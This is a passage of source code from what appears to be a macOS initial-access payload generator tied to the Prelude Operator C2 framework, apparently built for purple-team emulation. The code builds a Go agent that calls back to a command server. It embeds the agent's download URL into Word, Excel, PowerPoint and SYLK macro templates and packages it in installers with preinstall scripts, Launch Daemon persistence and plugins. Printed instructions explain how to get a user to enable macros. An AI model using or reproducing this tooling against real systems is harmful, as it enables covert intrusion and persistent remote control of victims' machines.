~/Library/Containers/com.microsoft.Powerpoint/Data/operator-payload"', 293 | 'Note: if Office for Mac 2016 or higher is used, the Apple Sandbox pay prevent this technique from working.' 294 | ] 295 | module.generate_instructions(instructions) 296 | 297 | 298 | def macro_vba_word(module): 299 | src = os.path.join(module.agent.c2.appdir, 'src/Templates/Office_for_Mac') 300 | dst = module.module_root_path 301 | module.copy_filedir(src, dst) 302 | 303 | template_file = os.path.join(module.module_root_path, 'macro_vba_word.txt') 304 | module.update_template('REMOTE_PAYLOAD_URL', 305 | module.agent.payload_hosting_url, template_file) 306 | module.update_template('TECHNIQUE_NAME', 307 | module.agent.technique_conversion_name, template_file) 308 | module.copy_filedir(template_file, os.path.join( 309 | module.agent.c2.payloads_dir, 'macro_vba_word.txt')) 310 | 311 | instructions = [ 312 | 'Copy the macro from Payloads/macro_vba_word.txt to past into Word Doc', 313 | 'When the macro is executed it will save to ~/Library/Containers/com.microsoft.Word/Data/operator-payload"', 314 | 'Note: if Office for Mac 2016 or higher is used, the Apple Sandbox pay prevent this technique from working.' 315 | ] 316 | module.generate_instructions(instructions) 317 | 318 | 319 | def macro_sylk_excel(module): 320 | src = os.path.join(module.agent.c2.appdir, 'src/Templates/Office_for_Mac') 321 | dst = module.module_root_path 322 | module.copy_filedir(src, dst) 323 | 324 | template_file = os.path.join( 325 | module.module_root_path, 'macro_sylk_excel.txt') 326 | module.update_template('REMOTE_PAYLOAD_URL', 327 | module.agent.payload_hosting_url, template_file) 328 | module.update_template('TECHNIQUE_NAME', 329 | module.agent.technique_conversion_name, template_file) 330 | module.copy_filedir(template_file, os.path.join( 331 | module.agent.c2.payloads_dir, 'macro_sylk_excel.slk')) 332 | 333 | instructions = [ 334 | 'Double click on the Payloads/macro_sylk_excel.slk file.', 335 | 'Excel should open the file, and prompt user to enable macros."', 336 | 'Note: if Office for Mac 2016 or higher is used, the Apple Sandbox pay prevent this technique from working.' 337 | ] 338 | module.generate_instructions(instructions) 339 | -------------------------------------------------------------------------------- /src/modules/common.py: -------------------------------------------------------------------------------- 1 | from pick import pick 2 | import yaml 3 | import psutil 4 | import logging 5 | import shutil 6 | import hashlib 7 | import subprocess 8 | import json 9 | import zipfile 10 | import platform 11 | import os 12 | import sys 13 | import argparse 14 | import requests 15 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 16 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 17 | 18 | 19 | logger = logging.getLogger(__name__) 20 | 21 | 22 | def prereqs_present(): 23 | if platform.system() != "Darwin": 24 | logger.error("This tool is only supported on macOS.") 25 | return False 26 | if not is_installed("go"): 27 | logger.error("Install golang for macOS.") 28 | return False 29 | if not is_installed("xcodebuild"): 30 | logger.error("Install xcode via the app store.") 31 | return False 32 | if not is_running("Operator"): 33 | logger.error("Prelude Operator needs to be running.") 34 | return False 35 | return True 36 | 37 | 38 | def get_portal_settings(): 39 | settings_file = '{}/Library/Application Support/Operator/portal.prelude.org/settings.yml'.format( 40 | os.path.expanduser('~')) 41 | 42 | with open(settings_file, "r") as stream: 43 | try: 44 | portal_settings = yaml.safe_load(stream) 45 | except yaml.YAMLError as exc: 46 | logger.error(exc) 47 | logger.error("[!] You will need to start Operator first.") 48 | sys.exit() 49 | 50 | return portal_settings 51 | 52 | 53 | def get_redirectors(): 54 | portal_settings = get_portal_settings() 55 | 56 | all_redirectors = [] 57 | tmp_redirector = {} 58 | tmp_redirector['name'] = "localhost" 59 | tmp_redirector['host'] = '127.0.0.1' 60 | tmp_redirector['password'] = portal_settings['public']['token'] 61 | all_redirectors.append(tmp_redirector) 62 | 63 | redirectors = portal_settings['private']['redirectors'] 64 | for redirector in redirectors.keys(): 65 | tmp_redirector = {} 66 | tmp_redirector['name'] = redirector 67 | tmp_redirector['host'] = redirectors[redirector]['host'] 68 | tmp_redirector['password'] = redirectors[redirector]['password'] 69 | all_redirectors.append(tmp_redirector) 70 | 71 | return all_redirectors 72 | 73 | 74 | def get_agents(): 75 | agent_path = os.path.join(os.getcwd(), 'src/agents.json') 76 | with open(agent_path, 'r') as fh: 77 | data = json.load(fh) 78 | return data 79 | 80 | 81 | def get_logger(args): 82 | if args.debug: 83 | logging.basicConfig( 84 | format="%(asctime)-15s %(funcName)15s %(levelname)9s: %(message)s", 85 | level=logging.DEBUG 86 | ) 87 | 88 | return logging.getLogger(__name__) 89 | 90 | 91 | def get_parser(): 92 | parser = argparse.ArgumentParser() 93 | parser.add_argument('-d', '--debug', action='store_true', 94 | help='for debugging only') 95 | parser.add_argument( 96 | '--ip', type=str, help='Provide IP of redirector', default="0.0.0.0") 97 | 98 | return parser 99 | 100 | 101 | def is_installed(program): 102 | rc = subprocess.call(['which', program], stdout=open(os.devnull, 'wb')) 103 | if rc == 0: 104 | return True 105 | else: 106 | logger.error("Dependecy not installed: {}".format(program)) 107 | return False 108 | 109 | 110 | def is_running(program): 111 | return program in (p.name() for p in psutil.process_iter()) 112 | 113 | 114 | def get_options(): 115 | redirectors = get_redirectors() 116 | agents = get_agents() 117 | 118 | data = { 119 | 'c2_name': 'operator', 120 | 'agent': str, 121 | 'agent-type': str, 122 | 'outpost-filename': str, 123 | 'supported-executables': list, 124 | 'payload-type': str, 125 | 'technique': str, 126 | 'procedure': str, 127 | 'needs-compilation': bool 128 | } 129 | 130 | title = 'Choose your payload:' 131 | options = [] 132 | for agent in agents.keys(): 133 | options.append(agent) 134 | data['agent'], _ = pick(options, title) 135 | 136 | options = agents[data['agent']]['supported_executables'] 137 | data['agent-type'], _ = pick(options, title) 138 | 139 | data['outpost-filename'] = agents[data['agent']]['outpost_filename'] 140 | data['needs-compilation'] = agents[data['agent']]['needs-compilation'] 141 | 142 | title = 'IMPORTANT: if choosing a redirector, you need to first launch Operator and connect to it before proceeding!\nIMPORTANT: if choosing localhost, you\'ll need to disconnect from the redirector!\n\nChoose Redirector or localhost:' 143 | options = redirectors 144 | data['redirectors'], index = pick(options, title) 145 | 146 | encryption_key = input( 147 | "Enter encryption key (defaults to 'abcdefghijklmnopqrstuvwxyz012345' if left blank) > ") 148 | if not encryption_key: 149 | encryption_key = "abcdefghijklmnopqrstuvwxyz012345" 150 | data['redirectors']['encryption_key'] = encryption_key 151 | 152 | title = 'Choose your initial access vector:' 153 | options = [ 154 | 'Installer Packages', 155 | 'Disk Image', 156 | 'Office for Mac' 157 | ] 158 | data['technique'], index = pick(options, title) 159 | if data['technique'] == 'Disk Image': 160 | data['procedure'] = data['technique'] 161 | 162 | if data['technique'] == "Installer Packages": 163 | title = 'Choose your Installer Package option:' 164 | options = [ 165 | 'Installer Package w/ only preinstall script', 166 | 'Installer Package w/ only postinstall script', 167 | 'Installer Package w/ Launch Daemon for Persistence', 168 | 'Installer Package w/ Installer Plugin', 169 | 'Installer Package w/ JavaScript Functionality embedded', 170 | 'Installer Package w/ JavaScript Functionality in Script', 171 | ] 172 | data['procedure'], index = pick(options, title) 173 | elif data['technique'] == 'Office for Mac': 174 | title = 'Choose your Office for Mac procedure:' 175 | options = [ 176 | 'Macro VBA Excel', 177 | 'Macro VBA PowerPoint', 178 | 'Macro VBA Word', 179 | 'Macro SYLK Excel' 180 | ] 181 | data['procedure'], index = pick(options, title) 182 | 183 | technique_conversion = { 184 | 'Installer Package w/ only preinstall script': 'installer-w-preinstall-script', 185 | 'Installer Package w/ only postinstall script': 'installer-w-postinstall-script', 186 | 'Installer Package w/ Launch Daemon for Persistence': 'installer-w-ld', 187 | 'Installer Package w/ Installer Plugin': 'installer-plugin', 188 | 'Installer Package w/ JavaScript Functionality embedded': 'installer-js-embedded', 189 | 'Installer Package w/ JavaScript Functionality in Script': 'installer-js-script', 190 | 'Disk Image': 'disk-image', 191 | 'Macro VBA Excel': 'macro-vba-excel', 192 | 'Macro VBA PowerPoint': 'macro-vba-ppt', 193 | 'Macro VBA Word': 'macro-vba-word', 194 | 'Macro SYLK Excel': 'macro-sylk-excel' 195 | } 196 | data['technique-conversion-name'] = technique_conversion[data['procedure']] 197 | 198 | return data 199 | 200 | 201 | class C2: 202 | 203 | def __init__(self, all_options): 204 | 205 | self.c2_name = all_options['c2_name'] 206 | self.agent = all_options['agent'] 207 | self.outpost_filename = all_options['outpost-filename'] 208 | self.c2_comm_ip = all_options['redirectors']['host'] 209 | self.token = all_options['redirectors']['password'] 210 | self.session = requests.Session() 211 | self.outpost_url = 'https://professional.outposts-lateralus.prelude.org/ping?extended=1' 212 | self.payloads_url = 'http://{}:3391/payloads'.format(self.c2_comm_ip) 213 | self.appdir = os.getcwd() 214 | self.payloads_dir = 'Payloads' 215 | self.full_payloads_dir = os.path.join(self.appdir, 216 | self.payloads_dir) 217 | self.payload_staging_dir = os.path.join(self.payloads_dir, 'tmp') 218 | self.full_payload_staging_dir = os.path.join(self.appdir, 219 | self.payload_staging_dir) 220 | self.full_downloaded_payload_file = None 221 | self.downloaded_payload_file = None 222 | self.full_payload_remote_location = None 223 | self.payload_remote_location = None 224 | 225 | def rest_call(self, method, url, data=''): 226 | if method == 'GET': 227 | return self.session.get(url) 228 | elif method == 'PUT': 229 | filename = data.split('/')[-1] 230 | return self.session.put(url, files=[("upload", (filename, open(data, "rb"), "application/octet-stream"))], verify=False, headers={'Authorization': self.token}) 231 | 232 | def get_payload_remote_location(self): 233 | logger.debug( 234 | "Getting payload remote location: {}".format(self.outpost_url)) 235 | if self.c2_name == 'operator': 236 | r_json = self.rest_call('GET', self.outpost_url).json() 237 | for payload in r_json['payloads']: 238 | if payload.endswith(self.outpost_filename): 239 | self.payload_remote_location = payload 240 | break 241 | 242 | self.full_payload_remote_location = os.path.join( 243 | self.payloads_url, self.payload_remote_location) 244 | logger.debug("Set variable: {}".format( 245 | self.full_payload_remote_location)) 246 | self.downloaded_payload_file = self.payload_remote_location.split( 247 | '/')[-1] 248 | logger.debug("Set variable: {}".format( 249 | self.downloaded_payload_file)) 250 | self.full_downloaded_payload_file = os.path.join( 251 | self.full_payloads_dir, self.downloaded_payload_file) 252 | logger.debug("Set variable: {}".format( 253 | self.full_downloaded_payload_file)) 254 | 255 | def get_payload(self): 256 | self.get_payload_remote_location() 257 | if self.c2_name == 'operator': 258 | print("Downloading payload.") 259 | logger.debug("Downloading payload: {}".format( 260 | self.full_payload_remote_location)) 261 | r = self.rest_call('GET', self.full_payload_remote_location) 262 | open(os.path.join(self.payloads_dir, 263 | self.downloaded_payload_file), 'wb').write(r.content) 264 | 265 | def extract_zip(self): 266 | extract_dir = os.path.join(self.full_payloads_dir, 'tmp') 267 | logger.debug("Extracting zip '{}' to '{}'".format( 268 | self.full_downloaded_payload_file, extract_dir)) 269 | with zipfile.ZipFile(self.full_downloaded_payload_file, 'r') as zip_ref: 270 | zip_ref.extractall(extract_dir) 271 | 272 | 273 | class Agent: 274 | def __init__(self, c2, all_options): 275 | self.payload_destination = os.path.join( 276 | c2.full_payloads_dir, 'operator-payload') 277 | self.agent = all_options['agent'] 278 | self.c2_comm_ip = all_options['redirectors']['host'] 279 | self.c2_comm_port = '2323' 280 | self.token = all_options['redirectors']['password'] 281 | self.encryption_key = all_options['redirectors']['encryption_key'] 282 | self.technique_conversion_name = all_options['technique-conversion-name'] 283 | self.full_build_script_path = None 284 | self.settings = None 285 | self.full_agent_profile_settings_file = None 286 | self.payload_hosting_url = None 287 | self.c2 = c2 288 | self.agent_src_path = c2.full_payload_staging_dir 289 | self.set_settings_file_path() 290 | 291 | def set_settings_file_path(self): 292 | if self.c2.c2_name == 'operator': 293 | self.full_agent_profile_settings_file = os.path.join( 294 | self.agent_src_path, 'util/conf/default.json') 295 | 296 | def build_operator_agent_config(self): 297 | logger.debug("Building agent config.") 298 | settings = { 299 | 'AESKey': self.encryption_key, 300 | 'Range': 'purple-team', 301 | 'Contact': 'tcp', 302 | 'Address': '{}:{}'.format(self.c2_comm_ip, self.c2_comm_port), 303 | 'Useragent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36', 304 | 'Sleep': 5, 305 | 'KillSleep': 5, 306 | 'CommandJitter': 1, 307 | 'CommandTimeout': 60, 308 | 'Proxy': '', 309 | 'Debug': False, 310 | } 311 | logger.debug("Agent config: {}".format(settings)) 312 | self.settings = settings 313 | 314 | def save_c2_profile_settings(self): 315 | logger.debug("Saving agent config to disk") 316 | with open(self.full_agent_profile_settings_file, 'w') as fh: 317 | json.dump(self.settings, fh, indent=2) 318 | 319 | def patch_agent(self, filepath, searchstring, content, action): 320 | # action can be append or replace 321 | with open(filepath, 'r') as fh: 322 | contents = fh.read() 323 | if action == 'replace': 324 | contents = contents.replace(searchstring, content) 325 | elif action == 'append': 326 | content = searchstring + content 327 | contents = contents.replace(searchstring, content) 328 | 329 | with open(filepath, 'w') as fh: 330 | fh.write(contents) 331 | logger.debug("Patched agent file: {}".format(filepath)) 332 | logger.debug("with content: {}".format(content)) 333 | 334 | def build_agent(self, all_options): 335 | my_env = os.environ.copy() 336 | my_env['GOOS'] = 'darwin' 337 | os.chdir(self.c2.payload_staging_dir) 338 | 339 | cmds = [] 340 | if all_options['agent'] == 'PneumaEX' and all_options['agent-type'] == 'exe': 341 | cmd = [ 342 | 'go', 343 | 'build', 344 | '-ldflags="-s -w -buildid= -X main.randomHash=${1}"', 345 | '-o', 346 | 'payloads/operator-payload', 347 | 'main.go', 348 | ] 349 | cmds.append(cmd) 350 | 351 | for cmd in cmds: 352 | logger.debug("Building agent (this may take a while).") 353 | print("Building agent (this may take a while).") 354 | subprocess.call(cmd, env=my_env, stdout=open(os.devnull, 'wb')) 355 | logger.debug("Done building agent.") 356 | 357 | self.move_files(os.path.join(self.agent_src_path, 'payloads/operator-payload'), 358 | os.path.join(self.c2.full_payloads_dir, 'operator-payload')) 359 | os.chdir(self.c2.appdir) 360 | 361 | def move_files(self, src, dst): 362 | os.rename(src, dst) 363 | logger.debug("Moved file to {}".format(dst)) 364 | 365 | def upload_payload(self): 366 | filename = self.payload_destination.split('/')[-1] 367 | url = 'https://{}:8888/v1/payload'.format(self.c2.c2_comm_ip) 368 | logger.debug("Uploading payload '{}' to {}".format(filename, url)) 369 | print("Uploading agent/payload.") 370 | r = self.c2.rest_call( 371 | 'PUT', url, self.payload_destination) 372 | if r.status_code == 200: 373 | logger.debug("Uploaded file successfully: {}".format(filename)) 374 | print("Done.") 375 | self.set_payload_remote_url() 376 | else: 377 | logger.error("Upload of file failed: {}".format(filename)) 378 | logger.error(r.reason) 379 | 380 | def set_payload_remote_url(self): 381 | payload_hosting_port = '3391' 382 | sha1_hash = self.get_hash_of_file(self.payload_destination) 383 | self.payload_hosting_url = 'http://{}:{}/payloads/{}/{}'.format( 384 | self.c2.c2_comm_ip, payload_hosting_port, sha1_hash, self.payload_destination.split('/')[-1]) 385 | 386 | def get_hash_of_file(self, filename): 387 | sha1_hash = hashlib.sha1() 388 | with open(filename, "rb") as f: 389 | # Read and update hash string value in blocks of 4K 390 | for byte_block in iter(lambda: f.read(4096), b""): 391 | sha1_hash.update(byte_block) 392 | return sha1_hash.hexdigest() 393 | 394 | 395 | class ModuleGenerator: 396 | def __init__(self, agent): 397 | self.scripts_dir = None 398 | self.agent = agent 399 | 400 | self.module_root_path = os.path.join( 401 | os.getcwd(), "Payloads/tmp/ModuleGenerator") 402 | logger.debug("ModuleGenerator class created. Root Path set to: {}".format( 403 | self.module_root_path)) 404 | 405 | def set_scripts_dir(self, dst): 406 | self.scripts_dir = os.path.join(self.module_root_path, dst) 407 | logger.debug("Set scripts dir to: {}".format(self.scripts_dir)) 408 | 409 | def create_dir(self, dst): 410 | path = os.path.join(self.module_root_path, dst) 411 | os.makedirs(path, exist_ok=True) 412 | logger.debug("Made directory: {}".format(path)) 413 | 414 | def create_file(self, dst, content): 415 | path = os.path.join(self.module_root_path, dst) 416 | with open(path, 'w') as fh: 417 | if isinstance(content, list): 418 | for line in content: 419 | fh.write("%s\n" % line) 420 | elif isinstance(content, str): 421 | fh.write(content) 422 | logger.debug("Created file: {}".format(path)) 423 | 424 | def make_executable(self, dst): 425 | path = os.path.join(self.module_root_path, dst) 426 | os.chmod(path, 0o755) 427 | logger.debug("Made file executable: {}".format(path)) 428 | 429 | def run_pkgbuild(self, identifier, output, has_scripts): 430 | if has_scripts: 431 | cmd = [ 432 | 'pkgbuild', 433 | '--identifier', 434 | identifier, 435 | '--nopayload', 436 | '--scripts', 437 | self.scripts_dir, 438 | os.path.join(self.agent.c2.full_payloads_dir, output) 439 | ] 440 | else: 441 | cmd = [ 442 | 'pkgbuild', 443 | '--identifier', 444 | identifier, 445 | '--nopayload', 446 | os.path.join(self.agent.c2.full_payloads_dir, output) 447 | ] 448 | subprocess.call(cmd, stdout=open(os.devnull, 'wb')) 449 | 450 | def generate_payload(self, type, identifier, output, has_scripts=True): 451 | if type == 'pkgbuild': 452 | self.run_pkgbuild(identifier, output, has_scripts) 453 | elif type == 'productbuild-plugin': 454 | self.run_productbuild(type, identifier, output) 455 | elif type == 'productbuild-js': 456 | self.run_productbuild(type, identifier, output) 457 | elif type == 'productbuild-js-script': 458 | self.run_productbuild(type, identifier, output) 459 | 460 | def move_files(self, src, dst): 461 | dst_path = os.path.join(self.module_root_path, dst) 462 | os.rename(src, dst_path) 463 | logger.debug("Moved file to {}".format(dst_path)) 464 | 465 | def generate_cleanup(self, instructions): 466 | print("\n[*] Removal Instructions:") 467 | for instruction in instructions: 468 | print("\t{}".format(instruction)) 469 | 470 | def clean_payload_staging(self): 471 | logger.debug("Deleting directory {}".format( 472 | self.agent.c2.payload_staging_dir)) 473 | shutil.rmtree(self.agent.c2.full_payload_staging_dir) 474 | files = [ 475 | 'pneumaEX.zip' 476 | ] 477 | for file in files: 478 | full_path = os.path.join(self.agent.c2.full_payloads_dir, file) 479 | if os.path.exists(full_path): 480 | os.remove(full_path) 481 | logger.debug("Deleting file: {}".format(full_path)) 482 | 483 | def copy_filedir(self, src, dst): 484 | if os.path.isfile(src): 485 | shutil.copyfile(src, dst) 486 | else: 487 | try: 488 | shutil.copytree(src, dst) 489 | logger.debug("Copied Template Folder to '{}'".format(dst)) 490 | except OSError: 491 | shutil.rmtree(dst) 492 | shutil.copytree(src, dst) 493 | logger.debug("Overwrote files '{}'".format(dst)) 494 | 495 | def update_template(self, src_string, dst_string, filepath): 496 | 497 | with open(os.path.join(self.module_root_path, filepath), 'r') as fh: 498 | contents = fh.read() 499 | contents = contents.replace(src_string, dst_string) 500 | with open(os.path.join(self.module_root_path, filepath), 'w') as fh: 501 | fh.write(contents) 502 | logger.debug("Updated file: {}".format(filepath)) 503 | logger.debug("with contents: {}".format(contents)) 504 | 505 | def run_xcodebuild(self): 506 | cmd = [ 507 | 'xcodebuild', 508 | '-project', 509 | os.path.join(self.module_root_path, 'SpecialDelivery.xcodeproj') 510 | ] 511 | subprocess.call(cmd, stdout=open(os.devnull, 'wb')) 512 | 513 | def run_productbuild(self, type, identifier, output): 514 | if type == 'productbuild-plugin': 515 | cmd = [ 516 | 'productbuild', 517 | '--identifier', 518 | identifier, 519 | '--version', 520 | '1', 521 | '--package', 522 | os.path.join(self.module_root_path, 'plugins', output), 523 | '--plugins', 524 | os.path.join(self.module_root_path, 'plugins'), 525 | os.path.join(self.agent.c2.full_payloads_dir, output) 526 | ] 527 | elif type == 'productbuild-js': 528 | cmd = [ 529 | 'productbuild', 530 | '--distribution', 531 | os.path.join(self.module_root_path, 'distribution.xml'), 532 | '--package-path', 533 | os.path.join(self.agent.c2.full_payloads_dir, 'install.pkg'), 534 | os.path.join(self.agent.c2.full_payloads_dir, output) 535 | ] 536 | elif type == 'productbuild-js-script': 537 | cmd = [ 538 | 'productbuild', 539 | '--distribution', 540 | os.path.join(self.module_root_path, 'distribution.xml'), 541 | '--scripts', 542 | self.scripts_dir, 543 | '--package-path', 544 | os.path.join(self.agent.c2.full_payloads_dir, 'install.pkg'), 545 | os.path.join(self.agent.c2.full_payloads_dir, output) 546 | ] 547 | subprocess.call(cmd, stdout=open(os.devnull, 'wb')) 548 | 549 | def generate_instructions(self, instructions): 550 | print("\n[*] Instructions for payload:") 551 | for instruction in instructions: 552 | print("\t{}".format(instruction)) 553 | --------------------------------------------------------------------------------